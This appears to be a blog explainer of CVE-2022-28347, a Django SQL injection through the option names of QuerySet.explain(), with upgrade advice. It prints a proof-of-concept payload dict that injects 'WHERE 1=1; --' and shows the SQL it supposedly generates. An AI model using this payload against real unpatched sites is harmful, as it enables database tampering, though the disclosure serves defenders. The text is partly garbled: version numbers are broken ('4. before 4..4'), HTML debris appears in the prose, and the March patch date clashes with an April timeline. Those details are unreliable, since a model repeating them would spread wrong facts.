In March 2022, a quiet but critical vulnerability was patched in Django, the world’s most popular Python web framework. Labeled CVE-2022-28347, this bug allowed attackers to pull off SQL injection attacks via a seemingly innocuous feature — the explain() method of Django’s QuerySet object. But what does that mean for your code and security? Let’s break it down in plain English, look at code examples, reference the original sources, and explain the exploit.
What Exactly Is the Issue?
Django’s ORM (Object-Relational Mapper) is famous for protecting you from SQL injection, a common and dangerous attack. However, versions 2.2 before 2.2.28, 3.2 before 3.2.13, and 4. before 4..4 included a special method called QuerySet.explain(), which accepts extra options via <b>options kwargs (keyword arguments).<br><br>If you gave explain() a specially crafted dictionary, you could sneak raw SQL directly into the server, in the part of the query where the option name** is supposed to go. That means, instead of inserting data as a value, the attacker puts the payload into the *name* of the query option — and Django failed to sanitize that.
Suppose you have a Django model like this
from django.db import models
class Book(models.Model):
title = models.CharField(max_length=100)
Normally, you’d call explain() like this
Book.objects.all().explain(format='json')
Now, imagine an attacker can control a dictionary sent somewhere in your app. They use Python dict expansion to sneak in a dangerous option *name*:
# This simulates user-controlled input (BAD practice!)
malicious_options = { "format) WHERE 1=1; -- ": "json" }
# Expansion sends option name into explain()
Book.objects.all().explain(**malicious_options)
Under the hood, this could generate SQL like
EXPLAIN (format) WHERE 1=1; -- = 'json'
SELECT ...
Boom. The attacker’s string breaks the query, inserts WHERE 1=1; -- (which neutralizes the rest), and can now manipulate your database.
Here’s a minimal working Python snippet for an affected version of Django
from myapp.models import Book
danger = {
"format) WHERE 1=1; -- ": "json"
}
# This line will trigger the SQL injection if the server is vulnerable
Book.objects.all().explain(**danger)
If you run this on an unpatched Django server, this will execute an invalid, but attacker-controlled, SQL statement. With some tweaking, it’s possible to do even more damage.
How Can You Fix It?
Simple: Upgrade Django! Official patches fix the vulnerable code by checking option names properly.
- Update instructions here (Django 3.2.13 release notes)
- Official CVE advisory
- GitHub security advisory
- Django’s own security disclosure
Internally, Django turns the **options keys into SQL directly
# Pseudo-code (simplified)
sql = "EXPLAIN (" + ", ".join([f"{opt} = %s" for opt in options.keys()]) + ") " + base_query
If you control the opt string, you escape out of the intended parameter position and write arbitrary SQL. Django simply trusted the keys, without any checks.
Final Words
CVE-2022-28347 is a reminder: even the best frameworks can have surprising flaws, especially when internal mechanisms accept user-controllable data in new ways. Always sanitize all input — including dictionary keys — and keep your dependencies updated.
Links for further reading:
- Django Security Release Blog Post
- NVD CVE Detail
- Django 3.2.13 Release Notes
Timeline
Published on: 04/12/2022 05:15:00 UTC
Last modified on: 04/19/2022 15:49:00 UTC